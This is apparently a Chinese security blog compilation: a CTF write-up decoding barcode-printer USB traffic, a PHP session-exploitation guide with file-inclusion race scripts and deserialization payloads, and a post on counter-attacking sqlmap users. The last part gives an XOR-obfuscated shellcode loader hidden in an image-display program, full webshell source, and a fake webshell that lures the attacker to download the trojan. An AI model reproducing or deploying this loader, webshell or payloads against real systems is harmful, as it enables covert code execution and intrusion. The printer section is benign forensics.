从一道题目尝试进行打印机流量分析

打印机流量分析

奇怪的USB流量

image-20211208140302530

数据包464,发现主机正在与某USB设备建立连接,数据包465可以确认刚才与主机建立连接的设备就是打印机

image-20211208151429955

数据包476,传输了USB设备描述符,可以得出题目所指打印机为条码打印机,采用TSPL2语言

image-20211208151641407

数据包674,发现发送了两个USB批量包,有纸张大小、方向信息

image-20211208151808805

有一个包数据特别大,可以看到包底部有一堆BAR数据

image-20211208140436245

image-20211208142320449

搜一下可以发现是个标签打印机的数据,谷歌找一下相关信息

  • 打印机系统设置相关指令:SIZE DIRECTION REFERENCE OFFSET PEEL CUTTER PARTOCAL_CUTTER TEAR
  • 标签打印相关指令:BITMAP BAR PRINT

http://www.kroyeuropedownload.com/English_User_Manuals/TSPL_TSPL2_Programming_Jan_2017.pdf

搜索bar,可以发现相关指令

image-20211208143533613

bar指令大概意思:

BAR 1 2 3 4
以左上角为原点,在坐标(1,2)的像素位置往右下方画上一个长3宽4的黑色像素块

编写脚本:

Image.new()模式“1”为二值图像,非黑即白。但是它每个像素用8个bit表示,0表示黑,255表示白

from PIL import Image
from pwn import *

img = Image.new('1',(700,700),color = 1)
pixels = img.load()

cmds = '''
348, 439, 2, 96
.......
'''
cmds = cmds.strip().split('\n')
for each in cmds:
    params = each.split(', ')
    x, y, width, height = map(int, params)
    for w in range(width):
        for h in range(height):
            rw = w + x
            rh = h + y
            pixels[rw, rh] = 0
img.show()

数据中还有个 SET TEAR ON CLS BITMAP 138,75,26,48,1,

搜一下bitmap

26 * 48 = 1248, 因此应该有1248个两位的16进制数(8个bit)

image-20211208143722733

所谓的Bit-map就是用一个bit位来标记某个元素对应的Value, 而Key即是该元素。由于采用了Bit为单位来存储数据,因此在存储空间方面,可以大大节省

这里的bitmap算法与网上的bitmap并不一样

bitmap(pixels, x, y, width, height, data)

定义一个函数:bitmap,把一张图片,从指定的位置(x,y)截取指定的宽高(width,height ),把所得图像的每个像素颜色转为int值,存入pixels,画出bitmap

from PIL import Image
from pwn import *

img = Image.new("1",(700,700))
pixels = img.load()

data1 = 'ffffffffffffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffffffffc3ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffe3fffe1ffffffffff807c03c603fc07c07e0007f7ff01f8067ff007ff803fc07c03fff1ff1f04f8ff1ff1fff1fff3ffcff1f27fc7f1ff3e1ff1ff9ffff1ff1fc1fcff8ff1fff1fff3ffefe3f87f8ff9feff8ff1ff9ffff8ff1fc3fc7fcff1fff1fff1ffefc7fc7f9ff8fdffc7f1ff9ffff8ff1fc7fe3fc7f1fff1fff1ffefcffe7f1ff8f9ffc3f1ff9ffffc7f1fc7fe3fe3f1fff1fff0ffef8ffe7f1ff0fbffe3f1ff9ffffc7f1fc7fe3fe3f1fff1fff0ffef8ffe7e1ff8f3ffe3f1ff9ffffe3f1fc7fe3ff1f1fff1fff47fef8ffe7e3ff9f7ffe1f1ff9ffffe3f1fc7ff3ff8e1fff1fff47fef9ffe7e3ffffffff1f1ff9fffff1f1fc7ff3ff8c1fff1fff63fef9ffe7f1ffffffff1f1ff9fffff1f1fc7ff3ffc11fff1fff63fef9ffe7f1ffffffff1f1ff9fffff1f1fc7fe3ffe31fff1fff71fef9ffe7f1ffffffff1f1ff9fffff8f1fc7fe3ffe71fff1fff71fef8ffe7f8ffffffff0f1ff9fffff8f1fc7fe3ffcf1fff1fff78fef8ffe7fcffffffff0f1ff9fffffc61fc7fe7ff9f1fff1fff78fef8ffc7fe3fffffff0f1ff9fffffc41fc7fc7ff3f1fff1fff7c7efcffc7ff83ffffff0f9ff1fffffe11fc3f8fff7f1fff1fff7c7efc7fa7ff87ffffff0f9fe9fffffe31fc1f1ffe7f1fff1fff7e3efe3e67fe3fffffff1f8f99ffffff31fc403fe01f1fff1fff7e3eff80e0fc7fffffff1fc039fffffe71fc79ffffff1fff1fff7f1efff3eff8ffffffff1ff0f9fffffef1fc7fffffff1fff1fff7f0efffffff8ffffffff1ffff9fffffcf1fc7fffffff1fff1fff7f8efffffff8fffffffe1ffff9fffff9f1fc7fffffff1fff1fff7f86fffffff8ff9f7ffe3ffff9fffffbf1fc7fffffff1fff1fff7fc6fffffff8ff0f3ffe3ffff9fffff7f1fc7fffffff1fff1fff7fc2fffffff8ff8fbffc7ffff9ffffe7f1fc7fffffff1fff1fff7fe2fffffff8ff8f9ffc7ffff9ffffcff1fc7fffffff1fff1fff7ff0fffffffcff9f9ff8fffff9ffff8ff1fc7fffffff1fff1fff7ff0fffffffc7f9f8ff1fffff9ffff0ff0fc3fffffff1fff0ffe7ff8fffffffe1e7f83e3fffff8fffc03c03c0fffffff03e000780ff83fffffff80fff80ffffff83ffffffffdffffffff3ffffffffffffffffffffffffffffffffbffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
data1 = bits(int(data1.strip(), 16))

def draw_bitmap(pixels, x, y, width, height, data):
  width *= 8
  for w in range(width):
    for h in range(height):
      rw = w + x
      rh = h + y
      pixels[rw, rh] = data1[w+h*width]
draw_bitmap(pixels,138,75,26,48,data1)
img.show()

最终脚本:

from PIL import Image
from pwn import *

img = Image.new('1',(700,700),color = 1)
pixels = img.load()

data1 = 'ffffffffffffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffffffffc3ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffffffffffffffffffffffffffffffffffffffffffffffffffe7ffe3fffe1ffffffffff807c03c603fc07c07e0007f7ff01f8067ff007ff803fc07c03fff1ff1f04f8ff1ff1fff1fff3ffcff1f27fc7f1ff3e1ff1ff9ffff1ff1fc1fcff8ff1fff1fff3ffefe3f87f8ff9feff8ff1ff9ffff8ff1fc3fc7fcff1fff1fff1ffefc7fc7f9ff8fdffc7f1ff9ffff8ff1fc7fe3fc7f1fff1fff1ffefcffe7f1ff8f9ffc3f1ff9ffffc7f1fc7fe3fe3f1fff1fff0ffef8ffe7f1ff0fbffe3f1ff9ffffc7f1fc7fe3fe3f1fff1fff0ffef8ffe7e1ff8f3ffe3f1ff9ffffe3f1fc7fe3ff1f1fff1fff47fef8ffe7e3ff9f7ffe1f1ff9ffffe3f1fc7ff3ff8e1fff1fff47fef9ffe7e3ffffffff1f1ff9fffff1f1fc7ff3ff8c1fff1fff63fef9ffe7f1ffffffff1f1ff9fffff1f1fc7ff3ffc11fff1fff63fef9ffe7f1ffffffff1f1ff9fffff1f1fc7fe3ffe31fff1fff71fef9ffe7f1ffffffff1f1ff9fffff8f1fc7fe3ffe71fff1fff71fef8ffe7f8ffffffff0f1ff9fffff8f1fc7fe3ffcf1fff1fff78fef8ffe7fcffffffff0f1ff9fffffc61fc7fe7ff9f1fff1fff78fef8ffc7fe3fffffff0f1ff9fffffc41fc7fc7ff3f1fff1fff7c7efcffc7ff83ffffff0f9ff1fffffe11fc3f8fff7f1fff1fff7c7efc7fa7ff87ffffff0f9fe9fffffe31fc1f1ffe7f1fff1fff7e3efe3e67fe3fffffff1f8f99ffffff31fc403fe01f1fff1fff7e3eff80e0fc7fffffff1fc039fffffe71fc79ffffff1fff1fff7f1efff3eff8ffffffff1ff0f9fffffef1fc7fffffff1fff1fff7f0efffffff8ffffffff1ffff9fffffcf1fc7fffffff1fff1fff7f8efffffff8fffffffe1ffff9fffff9f1fc7fffffff1fff1fff7f86fffffff8ff9f7ffe3ffff9fffffbf1fc7fffffff1fff1fff7fc6fffffff8ff0f3ffe3ffff9fffff7f1fc7fffffff1fff1fff7fc2fffffff8ff8fbffc7ffff9ffffe7f1fc7fffffff1fff1fff7fe2fffffff8ff8f9ffc7ffff9ffffcff1fc7fffffff1fff1fff7ff0fffffffcff9f9ff8fffff9ffff8ff1fc7fffffff1fff1fff7ff0fffffffc7f9f8ff1fffff9ffff0ff0fc3fffffff1fff0ffe7ff8fffffffe1e7f83e3fffff8fffc03c03c0fffffff03e000780ff83fffffff80fff80ffffff83ffffffffdffffffff3ffffffffffffffffffffffffffffffffbffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
data1 = bits(int(data1.strip(), 16))

data2 = 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffe38fffffffffffffffffffffffffffffffffffffffffffffffffffffffdff7ffffffffffffffffffffffffffffffffffffffffffffffffffffff9ff3ffffffffffffffffffffffffffffffffffffffffffffffffffffff9ff3fffffffffffff9ffefbffc7ffffffe1fff8fffffffc3ffffffffff9ff3ff8ffffffffff0ffefbff39ff007f9c7fe72ffffff3c3fc07fffff87e78463f803ff01f0ffe7bfefefff7ff3f3f9f8fffffeff3ffbffffffc01fa3f9ffbfffe7f9ffe71fcfe7ff7ff7f9f9fcfffffeffbffbfffffffc07e7f9ffbfffe7ffffc71f9ff3ff7feff9f3fcfffffeffbffbffffffffe7e7f8ffbfffe7ffffd75f9ff3ff7ffffcf3fcfffffe7ffffbffffffffe7e7f9ffbfffe7ffffd35f9ff3ff7ffffcf3fcfffffe3ffffbfffffff80fe7f9ffbfffe7ffffd2cf9ff3ff7ffffcf3fcffffff07fffbfffffff7cfe7f3ffbfffe7ffffb2cf9ff3ff7fe000f3fcffffffc1fffbffffffe7e7e7c7ffbfffe7ffffbacf9ff3ff7fe7fcf3fcfffffff87ffbffffffe7e7e03fffbfffe7ffffb9ef9ff3ff7fe7fcf3fcfffffffe7ffbffffffefe7e7ffffbfffe7ffffb9e79ff3ff7fe7f9f3fcfffffeff3ffbffffffefe7e7f9ffbfffe7ffff79e7cfe7ff7ff3f9f9f8fffffeff3ffbffffffe7e7f7f1ffbfffe7f1ff79e7efcfff7ff3f3f9f0fffffe7f7ffbffffff27eff3f3ffbfffe7f0fe38e3f39fff7ffce7fc04fffffe1cfff9ffffff019ff9e7ffbfffe7f1fffffffc7fff7fff1fffbcfffffee3fff87fffffbe7ffe1fffbffe00ffffffffffffff7ffffffffcffffffffffffffffffffffffffffbfffe7ffffffffffffff7ffffffffcffffffffffffffffffffffffffffbfffe7ffffffffffffff7ffffffffcffffffffffffffffffffffffffffbfffe7ffffffffffffff7ffffffffcffffffffffffffffffffffffffffbfe7e7ffffffffffffff7ffffffffcfffffffffff3ffffffffffffffffbfe7efffffffffffffff7ffffffffcfffffffffff1ffffffffffffffffbfe7cfffffffffffffff03fffffffc3ffffffffff1ffffffffffffffff81f03fffffffffffffff3ffffffffcfffffffffffbffffffffffffffff9ffffff'
data2 = bits(int(data2.strip(), 16))

cmds = '''
BAR 348, 439, 2, 96
BAR 292, 535, 56, 2
BAR 300, 495, 48, 2
BAR 260, 447, 2, 88
BAR 204, 447, 56, 2
BAR 176, 447, 2, 96
BAR 116, 455, 2, 82
BAR 120, 479, 56, 2
BAR 44, 535, 48, 2
BAR 92, 455, 2, 80
BAR 20, 455, 72, 2
BAR 21, 455, 2, 40
BAR 21, 495, 24, 2
BAR 45, 479, 2, 16
BAR 36, 479, 16, 2
BAR 284, 391, 40, 2
BAR 324, 343, 2, 48
BAR 324, 287, 2, 32
BAR 276, 287, 48, 2
BAR 52, 311, 48, 2
BAR 284, 239, 48, 2
BAR 308, 183, 2, 56
BAR 148, 239, 48, 2
BAR 196, 191, 2, 48
BAR 148, 191, 48, 2
BAR 68, 191, 48, 2
BAR 76, 151, 40, 2
BAR 76, 119, 2, 32
BAR 76, 55, 2, 32
BAR 76, 55, 48, 2
BAR 112, 535, 64, 2
BAR 320, 343, 16, 2
BAR 320, 319, 16, 2
BAR 336, 319, 2, 24
BAR 56, 120, 24, 2
BAR 56, 87, 24, 2
BAR 56, 88, 2, 32
BAR 224, 247, 32, 2
BAR 256, 215, 2, 32
BAR 224, 215, 32, 2
BAR 224, 184, 2, 32
BAR 224, 191, 32, 2
BAR 272, 311, 2, 56
BAR 216, 367, 56, 2
BAR 216, 319, 2, 48
BAR 240, 318, 2, 49
BAR 184, 351, 2, 16
BAR 168, 351, 16, 2
BAR 168, 311, 2, 40
BAR 152, 351, 16, 2
BAR 152, 351, 2, 16
'''
cmds = cmds.strip().split('\n')

def draw_bitmap(pixels, x, y, width, height, data):
  width *= 8
  for w in range(width):
    for h in range(height):
      rw = w + x
      rh = h + y
      pixels[rw, rh] = data1[w+h*width]

def draw_bar(pixels, x, y, width, height):
  for w in range(width):
    for h in range(height):
      rw = w + x
      rh = h + y
      pixels[rw, rh] = 0

draw_bitmap(pixels,138,75,26,48,data1)
draw_bitmap(pixels,130,579,29,32,data2)

for each in cmds:
    params = each.replace('BAR ','').split(', ')
    x, y, width, height = map(int, params)
    draw_bar(pixels, x, y, width, height)

img = img.transpose(Image.ROTATE_180)
img.show()

test

得到flag:flag{my_tsc_hc3pnikdk}

session利用的小思路

文章首发于先知社区:session利用的小思路

session利用的小思路

20211024180235.jpg

前言

做题的时候经常考到session利用,常见的基本就两种,session文件包含和session反序列化,之前没有详细总结过,就写写吧。

session文件包含

php.ini

session的相关配置

session.upload_progress.enabled = on //enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
session.upload_progress.prefix = "upload_progress_" //将表示为session中的键名
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //当它出现在表单中,php将会报告上传进度,而且它的值可控!!!
session.use_strict_mode = off //这个选项默认值为off,表示我们对Cookie中sessionid可控!!!
session.save_path = /var/lib/php/sessions //session的存贮位置,默认还有一个 /tmp/目录

当session相关配置如上的时候,我们可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。

平常,当我们要创建session时往往会在php代码里写session_start(),但我们不写的话,也是可以创建的。

比如,在php.ini中设置session.auto_start=On 的情况下,php在接收请求的时候会自动初始化session,不需要执行session_start()。但默认状态下,这个选项是默认关闭的。

image.png

不过幸好,session还有一个默认选项,session.use_strict_mode默认值为0。

image.png

这样用户是可以自己定义session ID的。比如,我们在cookie里设置PHPSESSID=AndyNoel,就会在服务器/tmp目录下或者/var/lib/php/sessions/目录下创建一个文件:sess_AndyNoel。即便没有设置自动初始化session,php也会产生session,并生成一个键值,这个键值由ini.get("session.upload_progress.prefix")+我们构造的session.upload_progress.name值组成,最后被一起写入sess_文件里。

[WMCTF 2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}
//Please hack me with your 0day!

很容易发现存在一个文件包含漏洞,但找不到能包含的恶意文件,那我们就可以往session里面写入恶意内容,然后包含它。

session维持

按照上面说的思路创建好session后,问题又来了,那就是在php.ini往往还有一条设置

session.upload_progress.cleanup = on //表示当文件上传结束后,php将会立即清空对应session文件中的内容

默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,清空了就没办法利用了。我们要想办法把session留在里面,所以就要利用条件竞争,在session文件内容清空前进行文件包含利用。

方法一 | 借助Burp Suite

可以在本地写一个上传页面,然后抓包添加Cookie: PHPSESSID=AndyNoel,再用BurpSuite爆破

<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

一边不断发包请求包含恶意的session,一边不断发包以维持恶意session存储。这样就可以利用条件竞争把恶意内容留在session里面了。

方法二 | python脚本

原理和上面的差不多,但是我们直接编写脚本,写shell、取flag一把梭出来,用不着那么麻烦了

import io
import sys
import requests
import threading
sessid = 'AndyNoel'

def WRITE(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://localhost/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"},
            files={"file":('1.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        resp = session.get(f'http://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid}')

        if 'flag{' in resp.text:
            print(resp.text)
            sys.exit(0)
        else:
            print('Thinking[+++++++]')

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

方法三(非预期) | 伪协议配合多级符号链接的办法进行绕过。

在这里有个小知识点,/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。

payload:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

另外一个payload

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

image.png

session反序列化

选择不同的处理器,处理方式也不一样,如果序列化和储存session与反序列化的方式不同,就有可能导致漏洞的产生。

Jarvis OJ WEB PHPINFO

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

如果只看php代码,其实我们是找不到参数可控的地方的,所以通过什么方法来进行反序列化呢?session.serialize_handler

session.serialize_handler (string) 用来定义序列化/反序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 如果 PHP 编译时加入了 WDDX 支持,则只能用 WDDX。 php_serialize 在内部简单地直接使用serialize/unserialize函数,并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。

image.png

可以看一下这个题目环境的phpinfo,在session部分

默认session.serialize_handlerphp_serialize,而这里却设置为php:

image.png

这样就很明显了,因为处理器对应的处理格式不同导致出现session反序列化漏洞

但还是不够,因为我们还是没办法控制变量,翻看PHP手册有个有意思的地方:

image.png

既然如此,我们可以去看看有关session的php.ini的设置

  • session.upload_progress.enabled = on
  • session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS

设置是这样的话,我们就可以构造反序列化了。

<?php
class OowoO
{
    public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';//从phpinfo看见的
}
$obj = new OowoO();
echo serialize($obj);
?>
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}

为了防止双引号转义,所以要处理一下,在双引号前面加\,所以应该是这样

O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}

然后自己本地写一个提交页面:

<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ADNL" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

抓包修改,在序列化的字符串前加 |,提交即可。

小结

session有关的安全性问题主要是文件包含和反序列化两个利用点,利用PHP_SESSION_UPLOAD_PROGRESS可以绕过大部分过滤。

SQLMap反制小思路

文章首发于安全客:sqlmap --os-shell反制小思路

sqlmap --os-shell反制的小思路

20210425140456.png

前言

之前有看到goby反制和松鼠A师傅蚁剑反制的文章,再想到之前写过sqlmap的shell免杀,觉得思路其实差不多,就写一篇sqlmap的反制吧。

sqlmap流量分析

(其实可以通过分析解密后sqlmap内置的backdoor后门文件(文章链接))

具体sqlmap的攻击流程差不多是这样:

  1. 测试链接是否能够访问
  2. 判断操作系统版本
  3. 传递一个数组,尝试爆绝对路径
  4. 指定上传路径
  5. 使用lines terminated by 写入一个php文件,该php文件可以进行文件上传
  6. 尝试找到上传的文件的访问路径;直到找到正确的路径
  7. 通过上传的临时文件,尝试上传另外一个php文件, 该文件可以进行命令执行
  8. 尝试进行命令执行 echo command execution test
  9. 直接输入对应的命令
  10. 退出 -–os-shell后删除命令马

然后我们反制思路其实大概分为两个

  • 一个是通过打开的页面嵌入js来直接执行命令
  • 另一个是通过打开钓鱼页面(比如flash钓鱼那种)

这两个相比而言其实各有优点,但我决定结合一下😯

通过打开的页面来下载图片马,然后进行rce

image.png

制作

图片马里面的程序用C写的,用异或做了免杀

这个是引用的头文件

//{{NO_DEPENDENCIES}}
//
#define IDR_IMAGE1                      101
#define IDI_ICON1                       102

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        103
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

这个才是C脚本

#include<graphics.h>
#include<conio.h>
#include<iostream>
#include "resource.h"
using namespace std;

void image() {
    IMAGE img;
    loadimage(&img, L"IMAGE", MAKEINTRESOURCE(IDR_IMAGE1));
    int w, h;
    w = img.getwidth();
    h = img.getheight();
    initgraph(w, h);
    putimage(0, 0, &img);
    getchar();
    closegraph();
}

int main()
{
    unsigned char shellc0de[] = "\x1c\x65\x9d\x1c\xd5\xbd\x89\xab\xab\xab\x1c\xd9\x51\xbb\xab\xab\xab\x1c\xef\x4c\xc8\xae\xed\x37\x61\xee\x24\x1c\x65\x0c\x73\x1c\x79\xac\xab\xab\xab\xb6\xa0\xb0\x80\x2d\x09\xc7\x89\x2e\x24\x4c\xc8\xef\xbc\x76\x31\xbc\x75\x1a\x80\x9f\x3f\x52\x29\x65\x76\x2c\x80\x25\xbf\x2f\x29\x65\x76\x6c\x80\x25\x9f\x67\x29\xe1\x93\x06\x82\xe3\xdc\xfe\x29\xdf\xe4\xe0\xf4\xcf\x91\x35\x4d\xce\x65\x8d\x01\xa3\xac\x36\xa0\x0c\xc9\x1e\x89\xff\xa5\xbc\x33\xce\xaf\x0e\xf4\xe6\xec\xe7\xea\x6e\xac\x4c\xc8\xae\xa5\xb2\xa1\x9a\x43\x04\xc9\x7e\xbd\xbc\x29\xf6\x60\xc7\x88\x8e\xa4\x36\xb1\x0d\x72\x04\x37\x67\xac\xbc\x55\x66\x6c\x4d\x1e\xe3\xdc\xfe\x29\xdf\xe4\xe0\x89\x6f\x24\x3a\x20\xef\xe5\x74\x28\xdb\x1c\x7b\x62\xa2\x00\x44\x8d\x97\x3c\x42\xb9\xb6\x60\xc7\x88\x8a\xa4\x36\xb1\x88\x65\xc7\xc4\xe6\xa9\xbc\x21\xf2\x6d\x4d\x18\xef\x66\x33\xe9\xa6\x25\x9c\x89\xf6\xac\x6f\x3f\xb7\x7e\x0d\x90\xef\xb4\x76\x3b\xa6\xa7\xa0\xe8\xef\xbf\xc8\x81\xb6\x65\x15\x92\xe6\x66\x25\x88\xb9\xdb\xb3\x37\xf3\xa5\x8d\x60\xee\x24\x4c\xc8\xae\xed\x37\x29\x63\xa9\x4d\xc9\xae\xed\x76\xdb\xdf\xaf\x23\x4f\x51\x38\x8c\x81\xf3\x0e\x46\x89\x14\x4b\xa2\xdc\x73\xdb\x99\x80\x2d\x29\x1f\x5d\xe8\x58\x46\x48\x55\x0d\x42\x64\x55\x63\x5f\xba\xc1\x87\x37\x38\xaf\xad\x96\x37\x7b\x8e\x56\x0d\x8d\x0a\x29\xb0\xcb\xed\x37\x61\xee\x24";
    unsigned char key[] = "\x09\xab";
    unsigned char aa[] = "\x32\xff";

    DWORD dw_size = sizeof shellc0de;
    int i;
    for (i = 0; i < dw_size; i++) {

        shellc0de[i] ^= key[1];
        shellc0de[i] = aa[1] - shellc0de[i];
    }
    LPVOID men = CoTaskMemAlloc(sizeof shellc0de);
    DWORD lpflOldProtect = 0;
    UINT name = RegisterClipboardFormatW((LPCWSTR)shellc0de);
    VirtualProtect(men, sizeof3 shellc0de, 0x40, &lpflOldProtect);
    GetClipboardFormatNameW(name, (LPWSTR)men, sizeof shellc0de);
    HANDLE handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)men, 0, 0, 0);
    WaitForSingleObject(handle, -1);
    image();
    return 0;
}

图片弄得差不多了,接下来看看sqlmap的流量分析

分析构造

sqlmap会使用lines terminated by 写入一个php文件,可以进行文件上传。


<?php
// 判断是否有一个upload的值传过来
if (isset($_REQUEST["upload"]))
{
    // 将uploadDir赋值给绝对路径
    $dir = $_REQUEST["uploadDir"];
    // 判断php版本是否小于4.1.0
    if (phpversion() < '4.1.0')
    {
        $file = $HTTP_POST_FILES["file"]["name"];
        @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
    }
    else
    {
        $file = $_FILES["file"]["name"];
        // 完成上传
        @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
    }
    // 设置权限
    @chmod($dir . "/" . $file, 0755);
    echo "File uploaded";
}
else
{
    echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=D:\\XXX\\XXXX> <input type=submit name=upload value=upload></form>";
}

然后找路径,上传下面这个真正的命令马。

<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z)) {
    $z=preg_replace("/[, ]+/",',',$z);
    $z=explode(',',$z);
    $z=array_map("trim",$z);
} else {
    $z=array();
}
$c=$c." 2>&1\n";// 将命令与 2>&1进行拼接
function f($n) {
    global $z;
    return is_callable($n)and!in_array($n,$z);//is_callable函数检查f($n)在当前环境中是否可调用
}
if(f("system")) {
    ob_start();
    system($c);
    $w=ob_get_clean();//返回输出缓冲区的内容,清空(擦除)缓冲区并关闭输出缓冲
} elseif(f("proc_open")) {
    $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
    $w=NULL;
    while(!feof($t[1])) {//feof函数检查是否已到达文件末尾(EOF)
        $w.=fread($t[1],512);
    }
    @proc_close($y);
} elseif(f("shell_exec")) {
    $w=shell_exec($c);
} elseif(f("passthru")) {
    ob_start();
    passthru($c);
    $w=ob_get_clean();
} elseif(f("popen")) {//popen()函数通过创建一个管道,调用 fork 产生一个子进程,执行一个 shell 以 运行命令 来开启一个进程。这个进程必须由 pclose () 函数关闭
    $x=popen($c,r);
    $w=NULL;
    if(is_resource($x)) {
        while(!feof($x)) {
            $w.=fread($x,512);//fread() 函数读取文件(可安全用于二进制文件)。512:读取的最大字节数。
        }
    }
    @pclose($x);// pclose()函数关闭标准 I/O 流,等待命令执行结束,然后返回 shell 的终止状态。
} elseif(f("exec")) {
    $w=array();
    exec($c,$w);
    $w=join(chr(10),$w).chr(10);
} else {
    $w=0;
}
echo"<pre>$w</pre>";
?>

而最后的返回包,webshell获取了网站目录、数据库类型等信息。

这个时候我们就可以写出一个伪造的sqlmap的”webshell“

echo "SORRY";
    preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);
    $c="$B[0]";
    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
    $txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t";
    echo "$txt";//伪造连通

然后搭配上挂马图片的下载链接

$iscmd="%(.*)127;%si";
if (preg_match($iscmd,$A)!=0) {
    preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);
    $c="$B[0]";
    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
    $payload='http://shell.com/index.html';
    echo 'WARN://'."\n".'数据上传成功,但与flash进行交互,请访问该网址进行shell链接。SQLMAP:'."$payload";

一代目

php写的不好,以后慢慢改吧

<?php
$A=urldecode(file_get_contents("php://input"));
$iscmd="%(.*)127;%si";
